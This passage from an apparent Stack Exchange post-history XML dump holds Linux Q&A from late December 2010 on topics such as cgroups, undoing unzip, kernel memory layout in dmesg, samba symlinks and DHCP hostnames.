:&#xD;&#xA;&#xD;&#xA;    alice            cpu             group1/&#xD;&#xA;    bob              cpu             group2/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This will share the CPU ressources about 50-50 between the user 'alice' and 'bob'&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; [1]: http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=tree;f=Documentation/cgroups" />
  <row Id="11371" PostHistoryTypeId="5" PostId="5123" RevisionGUID="ba9ddbac-e352-4e66-8727-90633a215500" CreationDate="2010-12-24T15:11:49.550" UserId="2362" Comment="killed obsolete text" Text="Usually, I unarchive things by `$ mkdir newFolder; $ mv *.zip newFolder; $ cd newFolder; $unzip *.zip` but sometimes I get lazy and just do in an arbitrary folder `$ unzip *.zip` so time-to-time messing up with other content. Before you say that my brains are missing, I will list here some methods -- some archive version surely have crappy-flags while others more spartan, I am more interested about the latter but feel free to share any way.&#xD;&#xA;&#xD;&#xA;**Some ways to de-unarchive, are there others?**&#xD;&#xA;&#xD;&#xA;1. `$ find . -anewer fileThatExistedBeforeUnarchieving -ok rm '{}' \;` Weaknesses are that it lists the `*.zip` dirs, so you need to use slow `-ok`, slow with many `*.zip` matches and, for some reason, it does not seem to match everything extracted. &#xD;&#xA;&#xD;&#xA;2. If small amount of extracted files, one-by-one, slow, cumbersome and error-prone.&#xD;&#xA;&#xD;&#xA;3. When I want to make sure whether the content of the archieve is actually a folder, I sometimes check it with `$ unzip -l *.bsd`, works at least in obsd`s unzip-version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you are referring to certain archiving tools, please, state them when appropriate. Keep it simple though  -- I am more interested about the WAYS how you do it, rather than a single tool." />
  <row Id="11372" PostHistoryTypeId="2" PostId="5130" RevisionGUID="8a1ba5d2-13d6-4298-8c65-8b7417f786a1" CreationDate="2010-12-24T17:20:25.387" UserId="3283" Text="I can't find a definitive list of rolling distros any where on the web.&#xD;&#xA;&#xD;&#xA;DistroWatch doesn't have one, though I posted a comment suggesting they add such or label rolling releases and the type of release/dev. cycle generally.&#xD;&#xA;&#xD;&#xA;Wikipedia have a very small page for &quot;Rolling Release&quot; only which list about five or so merely as examples of rolling releases.&#xD;&#xA;&#xD;&#xA;I would like to start a Wikipedia page &quot;List of Rolling Release Linux Distributions&quot;.&#xD;&#xA;&#xD;&#xA;I would be happy to help with such as I have been trying to find a good guide to Linux rolling release distros.&#xD;&#xA;&#xD;&#xA;If you would be willing to help me with the page please post below or email my screen name at gmail if you like the idea or have a better one.&#xD;&#xA;&#xD;&#xA;I still need to set up a Wikipedia account but thought I'd see if any one was interested in the project first.&#xD;&#xA;&#xD;&#xA;I would like to collaborate with other in creating the page as I've only used Linux for a year or so &amp; I'm still something of a newbie.&#xD;&#xA;&#xD;&#xA;I look forward to hearing your thoughts on the propsal." />
  <row Id="11373" PostHistoryTypeId="1" PostId="5130" RevisionGUID="8a1ba5d2-13d6-4298-8c65-8b7417f786a1" CreationDate="2010-12-24T17:20:25.387" UserId="3283" Text="Would anyone like to help me start a Wikipedia page &quot;List of rolling release Linux Distribustions&quot;?" />
  <row Id="11374" PostHistoryTypeId="3" PostId="5130" RevisionGUID="8a1ba5d2-13d6-4298-8c65-8b7417f786a1" CreationDate="2010-12-24T17:20:25.387" UserId="3283" Text="élinuxàédistrosàédistributionöchoiceà" />
  <row Id="11375" PostHistoryTypeId="2" PostId="5131" RevisionGUID="1297f9c7-bd62-4183-9204-79e43a6b205a" CreationDate="2010-12-24T17:24:43.150" UserId="676" Text="After learning bash I find that tcsh is a bit of a step backwards. For instance what I could easily do in bash I'm finding it difficult to do in tcsh. [My question on tcsh][1].  The Internet support and documentation is also much better for bash and very limited for tcsh.  The number of O'Reilly books on bash are great but I have found nothing similar for tcsh.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5111/operate-on-command-output-in-tcsh" />
  <row Id="11376" PostHistoryTypeId="5" PostId="5094" RevisionGUID="a3d2007e-3ec1-4642-9617-b0f1150587e0" CreationDate="2010-12-24T17:28:10.213" UserId="138" Comment="Added sentence explaining why I started with symlink(2) info; it may be seen as a non sequitur by one who doesn't understand that both Busybox and GNU mv are built on this same foundation" Text="I don't see how you can get atomic operation.  The man page for `symlink(2)` says it gives `EEXIST` if the target already exists. If the kernel doesn't support atomic operation, your userland limitations are irrelevant.&#xD;&#xA;&#xD;&#xA;I also don't see how `mv -T` helps, even if you have it.  Try it on a regular Linux box, one with GNU mv:&#xD;&#xA;&#xD;&#xA;    $ mkdir a b&#xD;&#xA;    $ ln -s a z&#xD;&#xA;    $ mv -T b z&#xD;&#xA;    mv: cannot overwrite non-directory `z' with directory `b'&#xD;&#xA;&#xD;&#xA;I think you're going to have to do this in two steps: remove the old symlink and recreate it." />
  <row Id="11377" PostHistoryTypeId="2" PostId="5132" RevisionGUID="8fe91c76-c704-4e2a-91f2-0e5e7c23f356" CreationDate="2010-12-24T17:40:51.507" UserId="3292" Text="proposed solutions don't work in e.g. following example:&#xD;&#xA;&#xD;&#xA;    $ bash -c &quot;echo 'hello World!'&quot;&#xD;&#xA;    -bash: !'&quot;: event not found&#xD;&#xA;    $&#xD;&#xA;in this case bang can be printed using it's octal ASCII code:&#xD;&#xA;&#xD;&#xA;    $ bash -c &quot;echo -e 'hello World\0041'&quot;&#xD;&#xA;    hello World!&#xD;&#xA;    $" />
  <row Id="11378" PostHistoryTypeId="2" PostId="5133" RevisionGUID="8cde0be3-08c2-463b-adee-2ac7957658c7" CreationDate="2010-12-24T19:11:42.033" UserId="1924" Text="How can I set fans speed to 100% or more in linux ?" />
  <row Id="11379" PostHistoryTypeId="1" PostId="5133" RevisionGUID="8cde0be3-08c2-463b-adee-2ac7957658c7" CreationDate="2010-12-24T19:11:42.033" UserId="1924" Text="Setting processor fan to 100%" />
  <row Id="11380" PostHistoryTypeId="3" PostId="5133" RevisionGUID="8cde0be3-08c2-463b-adee-2ac7957658c7" CreationDate="2010-12-24T19:11:42.033" UserId="1924" Text="élinuxàéubuntuà" />
  <row Id="11382" PostHistoryTypeId="5" PostId="2428" RevisionGUID="74fafc63-aa8d-4352-9be5-6dddad9b14e0" CreationDate="2010-12-24T22:57:49.380" UserId="665" Comment="deleted 50 characters in body; edited tags" Text="I wanted to map my PSone gamepad to do some basic KDE/keyboard/mouse functions and everything works well except one thing. I use logitech ultra-x keyboard which has a few multimedia buttons (play, home, volumeup, volumedown..) and I wanted to map volumeup and volumedown keys to my pad with everything else.&#xD;&#xA;&#xD;&#xA;volumedown works well, but volumeup makes some trouble. after I start qjoypad and map it - it does work but after mapping it I still see the &quot;[NO KEY]&quot; (while it is doing its job - volumeup; that's strange).. after I turn qjoypad off and on I get this error: &quot;Error reading button 6&quot; and after that &quot;Error reading definition for joystick 0&quot;&#xD;&#xA;&#xD;&#xA;this is my layout:&#xD;&#xA;&#xD;&#xA;    QJoyPad 4.1 Layout File&#xD;&#xA;&#xD;&#xA;    Joystick 1 {&#xD;&#xA;        Axis 4: gradient, dZone 6505, maxSpeed 11, tCurve 2, sens 2, mouse+h&#xD;&#xA;        Axis 5: gradient, dZone 6264, maxSpeed 11, tCurve 2, mouse+v&#xD;&#xA;        Button 1: key 114&#xD;&#xA;        Button 2: mouse 3&#xD;&#xA;        Button 3: mouse 1&#xD;&#xA;        Button 4: key 113&#xD;&#xA;        Button 5: key 122&#xD;&#xA;        Button 6: key 123&#xD;&#xA;        Button 7: key 62&#xD;&#xA;        Button 8: key 105&#xD;&#xA;        Button 9: key 23&#xD;&#xA;        Button 10: key 65&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;with xev I got it what 122 and 123 are (they work normaly under KDE when I press them, it's just that 123 wont map and stay mapped for my pad)&#xD;&#xA;&#xD;&#xA;    keycode 122 = XF86AudioLowerVolume&#xD;&#xA;    keycode 123 = XF86AudioRaiseVolume&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;any hint on what I should do to fix this and make my configuration stay?&#xD;&#xA;if it means anything, or helps anyhow - system is arch with 2.6.35 kernel, kde 4.5.1&#xD;&#xA;if you need any additional info I can provide it&#xD;&#xA;&#xD;&#xA;thank you very much =)&#xD;&#xA;" />
  <row Id="11383" PostHistoryTypeId="6" PostId="2428" RevisionGUID="74fafc63-aa8d-4352-9be5-6dddad9b14e0" CreationDate="2010-12-24T22:57:49.380" UserId="665" Comment="deleted 50 characters in body; edited tags" Text="ékdeàékeyboardàékeyboardöshortcutsà" />
  <row Id="11384" PostHistoryTypeId="2" PostId="5134" RevisionGUID="573837c6-d591-4921-8643-da6765de2f0e" CreationDate="2010-12-24T23:03:28.790" UserId="305" Text="It's partially not my question but well - that's a live of free technical supports for friends and family.&#xD;&#xA;&#xD;&#xA;My friend installed ArchLinux on Mac Book Pro alongside Mac OS X and Windows to try it. He's poweruser so I needed only to help with bootloader - [described installation of GRUB][1] did not worked (grub did not detect 4th GUID partion it was installed on). I heard that with [EFI][2] works GRUB 2 - and it did.&#xD;&#xA;&#xD;&#xA;The problem is that it required embedding as ext4 partition had too little space for it. Is it possible to install GRUB 2 on ext4 partition without embedding?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/MacBook&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Extensible_Firmware_Interface" />
  <row Id="11385" PostHistoryTypeId="1" PostId="5134" RevisionGUID="573837c6-d591-4921-8643-da6765de2f0e" CreationDate="2010-12-24T23:03:28.790" UserId="305" Text="Grub 2 installed on-partition - how to not embed it" />
  <row Id="11386" PostHistoryTypeId="3" PostId="5134" RevisionGUID="573837c6-d591-4921-8643-da6765de2f0e" CreationDate="2010-12-24T23:03:28.790" UserId="305" Text="éext4àégrub2àémacintoshà" />
  <row Id="11387" PostHistoryTypeId="2" PostId="5135" RevisionGUID="29556fa3-0db1-482f-b6db-88661e3edeb2" CreationDate="2010-12-25T00:01:24.623" UserId="2267" Text="I recently bought this cute little laptop computer (not much memory/HD/CPU): &#xD;&#xA; &#xD;&#xA;http://www.dinodirect.com/netbook-anyka-7802l-266mhz-128mb-2gb-nand-flash.html &#xD;&#xA; &#xD;&#xA;Has anyone successfully installed any Linux distro on it? I know Linux &#xD;&#xA;works well w/ low-end specs, so my main worry is drivers/etc. &#xD;&#xA; &#xD;&#xA;The laptop doesn't come w/ a recovery disk: how can I backup the OS it &#xD;&#xA;comes with (modified version of Windows?), just in case my Linux &#xD;&#xA;install fails. &#xD;&#xA; &#xD;&#xA;[I am not affiliated w/ DinoDirect, this is just a cool toy I bought myself] &#xD;&#xA;" />
  <row Id="11388" PostHistoryTypeId="1" PostId="5135" RevisionGUID="29556fa3-0db1-482f-b6db-88661e3edeb2" CreationDate="2010-12-25T00:01:24.623" UserId="2267" Text="Can I install Linux on Ankya 7802L 266MHz 128MB 2GB laptop?" />
  <row Id="11389" PostHistoryTypeId="3" PostId="5135" RevisionGUID="29556fa3-0db1-482f-b6db-88661e3edeb2" CreationDate="2010-12-25T00:01:24.623" UserId="2267" Text="éhardwareöcompatibilityà" />
  <row Id="11390" PostHistoryTypeId="2" PostId="5136" RevisionGUID="a7d2baae-3f32-4541-b51e-bb0b8905ff71" CreationDate="2010-12-25T00:39:19.753" UserId="3069" Text="First off, a 32 bit system has `0xffffffff` (`4'294'967'295`) linear addresses to access a physical location ontop of the RAM.  &#xD;&#xA;The kernel divides these addresses into user and kernel space.&#xD;&#xA;&#xD;&#xA;User space (high memory) can be accessed by the user and, if necessary, also by the kernel.  &#xD;&#xA;The address range in hex and dec notation:&#xD;&#xA;&#xD;&#xA;    0x00000000 - 0xbfffffff&#xD;&#xA;    0 - 3'221'225'471&#xD;&#xA;&#xD;&#xA;Kernel space (low memory) can only be accessed by the kernel.  &#xD;&#xA;The address range in hex and dec notation:&#xD;&#xA;&#xD;&#xA;    0xc0000000 - 0xffffffff&#xD;&#xA;    3'221'225'472 - 4'294'967'295&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Like this:&#xD;&#xA;&#xD;&#xA;    0x00000000             0xc0000000  0xffffffff &#xD;&#xA;        |                        |          |&#xD;&#xA;        +------------------------+----------+&#xD;&#xA;        |  User                  |  Kernel  |&#xD;&#xA;        |  space                 |  space   |&#xD;&#xA;        +------------------------+----------+&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Thus, the memory layout you saw in `dmesg` corresponds to the mapping of linear addresses in kernel space.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;First, the .text, .data and .init sequences which provide the initialization of the kernel's own page tables (translate linear into physical addresses).&#xD;&#xA;&#xD;&#xA;    .text : 0xc0400000 - 0xc071ae6a   (3179 kB)&#xD;&#xA;The range where the kernel code resides.&#xD;&#xA;&#xD;&#xA;    .data : 0xc071ae6a - 0xc08feb78   (1935 kB)&#xD;&#xA;The range where the kernel data segments reside.&#xD;&#xA;&#xD;&#xA;    .init : 0xc0906000 - 0xc0973000   ( 436 kB)&#xD;&#xA;The range where the kernel's initial page tables reside.&#xD;&#xA;&#xD;&#xA;(and another 128 kB for some dynamic data structures.)&#xD;&#xA;&#xD;&#xA;This minimal address space is just large enough to install the kernel in the RAM and to initialize its core data structures.&#xD;&#xA;&#xD;&#xA;Their used size is shown inside the parenthesis, take for example the kernel code:  &#xD;&#xA;&#xD;&#xA;    0xc071ae6a - 0xc0400000 = 31AE6A&#xD;&#xA;&#xD;&#xA;In decimal notation, that's `3'255'914` (3179 kB).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Second, the usage of kernel space after initialization&#xD;&#xA;&#xD;&#xA;    lowmem  : 0xc0000000 - 0xf77fe000   ( 887 MB)&#xD;&#xA;&#xD;&#xA;The lowmem range can be used by the kernel to directly access physical addresses.  &#xD;&#xA;This is not the full 1 GB, because the kernel always requires at least 128 MB of linear addresses to implement noncontiguous memory allocation and fix-mapped linear addresses.&#xD;&#xA;&#xD;&#xA;    vmalloc : 0xf7ffe000 - 0xff7fe000   ( 120 MB)&#xD;&#xA;&#xD;&#xA;Virtual memory allocation can allocate page frames based on a noncontiguous scheme. The main advantage of this schema is to avoid external fragmentation, this is used for swap areas, kernel modules or allocation of buffers to some I/O devices.&#xD;&#xA;&#xD;&#xA;    pkmap   : 0xff800000 - 0xffa00000   (2048 kB)&#xD;&#xA;&#xD;&#xA;The permanent kernel mapping allows the kernel to establish long-lasting mappings of high-memory page frames into the kernel address space.&#xD;&#xA;&#xD;&#xA;    fixmap  : 0xffc57000 - 0xfffff000   (3744 kB)&#xD;&#xA;&#xD;&#xA;These are fix-mapped linear addresses which can refer to any physical address in the RAM, not just the last 1 GB like the lowmem addresses.  &#xD;&#xA;Fix-mapped linear addresses are a bit more efficient than their lowmem-colleagues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you want to dive deeper into the rabbit hole:  &#xD;&#xA;[Understanding the Linux Kernel][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596000028" />
  <row Id="11391" PostHistoryTypeId="5" PostId="5124" RevisionGUID="c1ca14c5-e4d2-497f-adad-a209ef5b059b" CreationDate="2010-12-25T01:07:55.683" UserId="1207" Comment="deleted 31 characters in body" Text="While going through the __&quot;Output of dmesg&quot;__ I could see a list of values which i am not able to understand properly.    &#xD;&#xA;&#xD;&#xA;    Memory: 2047804k/2086248k available (3179k kernel code, 37232k reserved, 1935k data, 436k init, 1176944k highmem)&#xD;&#xA;    virtual kernel memory layout:&#xD;&#xA;        fixmap  : 0xffc57000 - 0xfffff000   (3744 kB)&#xD;&#xA;        pkmap   : 0xff800000 - 0xffa00000   (2048 kB)&#xD;&#xA;        vmalloc : 0xf7ffe000 - 0xff7fe000   ( 120 MB)&#xD;&#xA;        lowmem  : 0xc0000000 - 0xf77fe000   ( 887 MB)&#xD;&#xA;          .init : 0xc0906000 - 0xc0973000   ( 436 kB)&#xD;&#xA;          .data : 0xc071ae6a - 0xc08feb78   (1935 kB)&#xD;&#xA;          .text : 0xc0400000 - 0xc071ae6a   (3179 kB)&#xD;&#xA;&#xD;&#xA;From the values i understand that i have 2GB RAM(Physical memory). But rest of the things seems to be Magic Numbers for me.  &#xD;&#xA;&#xD;&#xA;I would like to know about each one (fixmap, pkmap,.. etc.) in brief(if more doubts, I will post each one as a separate Question)?  &#xD;&#xA;&#xD;&#xA;Could someone explain that to me?   " />
  <row Id="11392" PostHistoryTypeId="2" PostId="5137" RevisionGUID="89effd64-b8e9-4441-930d-debd373c50aa" CreationDate="2010-12-25T04:41:40.117" UserId="3170" Text="Hey, so I'm just playing around with a usb cable and an LED. I plugged in the usb to my computer and connected ground with the LED ground and the last usb pin (+) to the LED.&#xD;&#xA;&#xD;&#xA;It stays lit bright. I moved the wire from the usb power pin to the D+ pin. Is it possible that I could send a bit stream through usb that would in turn light up this LED?&#xD;&#xA;&#xD;&#xA;I'm not even a beginner with usb, drivers, etc. I just had the idea that hit me and wanted to see if it was possible as a sort of show off to friends." />
  <row Id="11393" PostHistoryTypeId="1" PostId="5137" RevisionGUID="89effd64-b8e9-4441-930d-debd373c50aa" CreationDate="2010-12-25T04:41:40.117" UserId="3170" Text="Light up a LED through USB" />
  <row Id="11394" PostHistoryTypeId="3" PostId="5137" RevisionGUID="89effd64-b8e9-4441-930d-debd373c50aa" CreationDate="2010-12-25T04:41:40.117" UserId="3170" Text="éusbà" />
  <row Id="11395" PostHistoryTypeId="2" PostId="5138" RevisionGUID="5efffd06-e250-4d0d-a3f0-013bef62d792" CreationDate="2010-12-25T08:35:25.560" UserId="3214" Text="Hello,&#xD;&#xA;one of my RAM sticks causes a Kernel Panic on my Ubuntu 10.10 (something like &quot;not syncing&quot; with a lot of memory adresses shown on screen). It's definitely this one RAM stick and not its socket because when I put one of the other sticks into the slot of the one RAM stick, everything is ok. &#xD;&#xA;How does it come that memtest doesn't find any errors after several cycles but Ubuntu is not able to boot while using this one special RAM stick? Does anybody have an explanation for that? " />
  <row Id="11396" PostHistoryTypeId="1" PostId="5138" RevisionGUID="5efffd06-e250-4d0d-a3f0-013bef62d792" CreationDate="2010-12-25T08:35:25.560" UserId="3214" Text="Kernel Panic because of RAM stick?" />
  <row Id="11397" PostHistoryTypeId="3" PostId="5138" RevisionGUID="5efffd06-e250-4d0d-a3f0-013bef62d792" CreationDate="2010-12-25T08:35:25.560" UserId="3214" Text="éubuntuàémemoryàékernelöpanicà" />
  <row Id="11398" PostHistoryTypeId="2" PostId="5139" RevisionGUID="35472b17-0729-43c5-8570-d17d9d4b9849" CreationDate="2010-12-25T08:39:07.467" UserId="2119" Text="I was using gparted to resize a near-terabyte ext3 partition to about 40 GB to the left. After near 12 hours of moving data (and with 23 hours more left estimated) the system hanged. Now fsck reports too many illegal data in every inode. How to fix the FS in this case?" />
  <row Id="11399" PostHistoryTypeId="1" PostId="5139" RevisionGUID="35472b17-0729-43c5-8570-d17d9d4b9849" CreationDate="2010-12-25T08:39:07.467" UserId="2119" Text="How to repair an ext3 partition after broken resize operation?" />
  <row Id="11400" PostHistoryTypeId="3" PostId="5139" RevisionGUID="35472b17-0729-43c5-8570-d17d9d4b9849" CreationDate="2010-12-25T08:39:07.467" UserId="2119" Text="éfilesystemsàédataörecoveryàéext3àéfsckàégpartedà" />
  <row Id="11401" PostHistoryTypeId="2" PostId="5140" RevisionGUID="b1b9e2e3-8a11-469e-92d5-d6ca2a01d9e9" CreationDate="2010-12-25T09:21:47.190" UserId="3216" Text="Hi all, My server is equipped with a megaraid controller that cannot be identified by most linux installer. I have to load it's driver before installation can proceed. I know how to do it with CentOS that simply type &quot;linux dd&quot; when prompt &quot;boot:&quot;, and I will be able to load drivers from a usb flashdisk. But when it comes to Fedora 14, it seem there is no way for me to have any opportunity to load drivers before installation, so can't it find the harddisk :(&#xD;&#xA;Anyone here has some advises? " />
  <row Id="11402" PostHistoryTypeId="1" PostId="5140" RevisionGUID="b1b9e2e3-8a11-469e-92d5-d6ca2a01d9e9" CreationDate="2010-12-25T09:21:47.190" UserId="3216" Text="Loading 3rd-Party Drivers before Fedora 14 Installation" />
  <row Id="11403" PostHistoryTypeId="3" PostId="5140" RevisionGUID="b1b9e2e3-8a11-469e-92d5-d6ca2a01d9e9" CreationDate="2010-12-25T09:21:47.190" UserId="3216" Text="élinuxàéfedoraàédriversàésoftwareöinstallationà" />
  <row Id="11404" PostHistoryTypeId="10" PostId="5130" RevisionGUID="9e441617-02ed-47cc-9aa9-0001e66f86fc" CreationDate="2010-12-25T16:24:13.643" UserId="-1" CloseReasonId="4" Text="[{&quot;Id&quot;:4,&quot;DisplayName&quot;:&quot;Stefan Lasiewski&quot;},{&quot;Id&quot;:305,&quot;DisplayName&quot;:&quot;Maciej Piechotka&quot;}]" />
  <row Id="11405" PostHistoryTypeId="2" PostId="5141" RevisionGUID="59234316-2491-43ec-8a31-641eb45fa451" CreationDate="2010-12-25T18:21:27.190" UserId="3304" Text="Could not connect to host 127.0.0.1: Connection refused. - I am getting this error message on ktorrent on slackware 13.1 and the torrents cannot start. I tried to reconfigure the ktorrent prefernces, i flushed the iptables but still no success. The trick is when i log in via root and start ktorrent, then the torrents start and no error message is displayed, but when i am logged in as a regular user then the torrents don't work. Can you help me and give me at least some basic ideas about what the problem might be ? Thank you in advance." />
  <row Id="11406" PostHistoryTypeId="1" PostId="5141" RevisionGUID="59234316-2491-43ec-8a31-641eb45fa451" CreationDate="2010-12-25T18:21:27.190" UserId="3304" Text="Could not connect to host 127.0.0.1: Connection refused." />
  <row Id="11407" PostHistoryTypeId="3" PostId="5141" RevisionGUID="59234316-2491-43ec-8a31-641eb45fa451" CreationDate="2010-12-25T18:21:27.190" UserId="3304" Text="élinuxàéfirewallàéslackwareà" />
  <row Id="11408" PostHistoryTypeId="5" PostId="5120" RevisionGUID="f911d9cf-b57c-49bd-96d2-29cc3c6a3c2e" CreationDate="2010-12-25T18:40:07.063" UserId="2418" Comment="edited body; edited tags" Text="This is ubuntu server 10.04 64 and samba 3.4.7&#xD;&#xA;&#xD;&#xA;I have a shared directory /home/mit/share and another one /home/temp that I link into the shared one:&#xD;&#xA;&#xD;&#xA;ln -s /home/temp /home/mit/share/temp&#xD;&#xA;&#xD;&#xA;But on windows, after net use'ing I cannot open S:/temp, on linux it is possible to access /home/mit/share/temp like expected. &#xD;&#xA;&#xD;&#xA;This works if I link directories inside /home/mit/share/temp, so I guess samba is restricting to jump with a link outside/above the shared directory. I thought I could override this restriction with&#xD;&#xA;&#xD;&#xA;            follow symlinks = yes&#xD;&#xA;            wide links = yes&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is my smb.conf:&#xD;&#xA;&#xD;&#xA;    [global]&#xD;&#xA;            workgroup = W11&#xD;&#xA;            security = SHARE&#xD;&#xA;            passdb backend = smbpasswd:/etc/samba/smbpasswd&#xD;&#xA;            unix password sync = no&#xD;&#xA;            #username map = /etc/samba/user.map&#xD;&#xA;            syslog = 0&#xD;&#xA;            log file = /var/log/samba/log.%m&#xD;&#xA;            max log size = 1000&#xD;&#xA;            dns proxy = No&#xD;&#xA;            panic action = /usr/share/samba/panic-action %d&#xD;&#xA;            encrypt passwords = true&#xD;&#xA;            invalid users = root&#xD;&#xA;            hosts allow = 10.1.1.0/24&#xD;&#xA;    &#xD;&#xA;    [s]&#xD;&#xA;            comment = S&#xD;&#xA;            follow symlinks = yes&#xD;&#xA;            wide links = yes&#xD;&#xA;            path = /home/mit/share&#xD;&#xA;            valid users = mit&#xD;&#xA;            read only = no&#xD;&#xA;            create mask = 0660&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11409" PostHistoryTypeId="6" PostId="5120" RevisionGUID="f911d9cf-b57c-49bd-96d2-29cc3c6a3c2e" CreationDate="2010-12-25T18:40:07.063" UserId="2418" Comment="edited body; edited tags" Text="éfilesystemsàéwindowsàésymlinkàésambaà" />
  <row Id="11410" PostHistoryTypeId="2" PostId="5142" RevisionGUID="0f248c6e-df6d-4288-a943-473c5cb21993" CreationDate="2010-12-25T19:59:37.007" UserId="2180" Text="Not directly, and even if you could, it wouldn't be very useful since the usb protocol constantly sends pings over the wire; the led would probably appear continuously dimly lit.&#xD;&#xA;&#xD;&#xA;If you wanted, you could make a low-pass amplifier to get it done. If you go this route, check out [USB In A Nutshell][1] to learn more about the USB protocol.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.beyondlogic.org/usbnutshell/usb1.shtml" />
  <row Id="11411" PostHistoryTypeId="2" PostId="5143" RevisionGUID="96a0a8e3-cd0f-4d2e-94f8-2b760766ccda" CreationDate="2010-12-26T01:37:19.897" UserId="3307" Text=" http://i.imgur.com/MugzO.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Above is presented a case where I have only 512 MB of physical memory. What I have read up so far, is that ZONE_NORMAL is mapped to the kernel virtual address space as shown. Essentially I have a 512 MB physical memory, out of which 496 MB worth of ZONE_NORMAL is mapped to the kernel virtual space. Based on this understanding, following are my question:&#xD;&#xA;&#xD;&#xA; - Does, ZONE_NORMAL consists of **only** kernel space pages ?&#xD;&#xA; - If ZONE_NORMAL consists only of kernel pages and is mapped **completely** to the kernel space virtual address range, where do the user space pages get located ?? There does not seem to be any room for user space pages in physical memory.&#xD;&#xA;&#xD;&#xA;I am totally mixed up of the case where the physical memory is less than 4GB as shown in this case that I have put forth.&#xD;&#xA;&#xD;&#xA;Would really appreciate if someone can throw light on this.&#xD;&#xA;&#xD;&#xA;Thanks!! &#xD;&#xA;" />
  <row Id="11412" PostHistoryTypeId="1" PostId="5143" RevisionGUID="96a0a8e3-cd0f-4d2e-94f8-2b760766ccda" CreationDate="2010-12-26T01:37:19.897" UserId="3307" Text="ZONE_NORMAL and it's association with Kernel/User-pages ?" />
  <row Id="11413" PostHistoryTypeId="3" PostId="5143" RevisionGUID="96a0a8e3-cd0f-4d2e-94f8-2b760766ccda" CreationDate="2010-12-26T01:37:19.897" UserId="3307" Text="élinuxàékernelàédriversàémemoryàéarmà" />
  <row Id="11414" PostHistoryTypeId="2" PostId="5144" RevisionGUID="f3a00c7b-5a82-4860-8dc9-15b31b708ab2" CreationDate="2010-12-26T10:24:11.093" UserId="250" Text="Unfortunately, I think you are quite screwed. If you only mess with the partition table then [TestDisk][1] is your best shot, but since you have been resizing (which actually means copying and maybe even deleting), your data is, more or less, corrupted.&#xD;&#xA;&#xD;&#xA;If you have a backup before performing the resize operation, this is a good time to use it. Else, I don't know what you can do, I would ditch the partition and create a new one, saying goodbye to the data inside. A lesson that has to be learned is, always be careful with your data. (Of course you should try waiting to see if there is any super great answer that can do better, but don't hold too much hope.)&#xD;&#xA;&#xD;&#xA;Now if you really have a backup, an easier way to &quot;resize&quot; is to delete the old partition, create a new one, then restore the data there.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cgsecurity.org/wiki/TestDisk" />
  <row Id="11415" PostHistoryTypeId="2" PostId="5145" RevisionGUID="fc273f08-5391-424c-9990-23e365dc4c48" CreationDate="2010-12-26T10:31:19.663" UserId="1327" Text="On my local DHCP network I have different PC's that I need to access remotely. Problem is that their IP's change. Sometimes I plug my laptop and netbook into other people's DHCP networks. &#xD;&#xA;&#xD;&#xA;My current solution is to upate the `/etc/hosts` file everytime the target IP's change.&#xD;&#xA;&#xD;&#xA;My `/etc/hosts` file looks like this:&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # /etc/hosts: static lookup table for host names&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    # &lt;ip-address&gt;	&lt;hostname.domain.org&gt;	&lt;hostname&gt;&#xD;&#xA;    127.0.0.1		localhost.localdomain	localhost laptop&#xD;&#xA;    &#xD;&#xA;    192.168.1.14     desktoppc.localdomain	desktop&#xD;&#xA;    192.168.1.12     netbookpc.localdomain	netbook&#xD;&#xA;    &#xD;&#xA;    # End of file&#xD;&#xA;&#xD;&#xA;Is there a way to bypass all that admin? :) &#xD;&#xA;&#xD;&#xA;For example, could my computers broadcast their IPs on the LAN? or something like that..." />
  <row Id="11416" PostHistoryTypeId="1" PostId="5145" RevisionGUID="fc273f08-5391-424c-9990-23e365dc4c48" CreationDate="2010-12-26T10:31:19.663" UserId="1327" Text="Maintaining `/etc/hosts` for hosts on DHCP" />
  <row Id="11417" PostHistoryTypeId="3" PostId="5145" RevisionGUID="fc273f08-5391-424c-9990-23e365dc4c48" CreationDate="2010-12-26T10:31:19.663" UserId="1327" Text="édhcpàéhostsà" />
  <row Id="11418" PostHistoryTypeId="2" PostId="5146" RevisionGUID="d94bc26c-dbdd-4b91-aa16-39ee1382179e" CreationDate="2010-12-26T11:12:57.040" UserId="2932" Text="It depends on what is doing the DHCP? &#xD;&#xA;&#xD;&#xA;Most home routers use *dnsmasq* and you can use that as your local DNS server. You just need to set *dnsmasq* to return itself as the DNS server. Next, you need to make sure that your PCs broadcast a hostname during the DHCP request.&#xD;&#xA;&#xD;&#xA;Then, voila, you should be able to resolve all your local machines through the DNS/DHCP server." />
  <row Id="11419" PostHistoryTypeId="6" PostId="5135" RevisionGUID="b02428a6-08f7-4378-b98e-8fb58d7fc56c" CreationDate="2010-12-26T11:23:15.170" UserId="885" Comment="edited tags" Text="élinuxàéhardwareöcompatibilityà" />
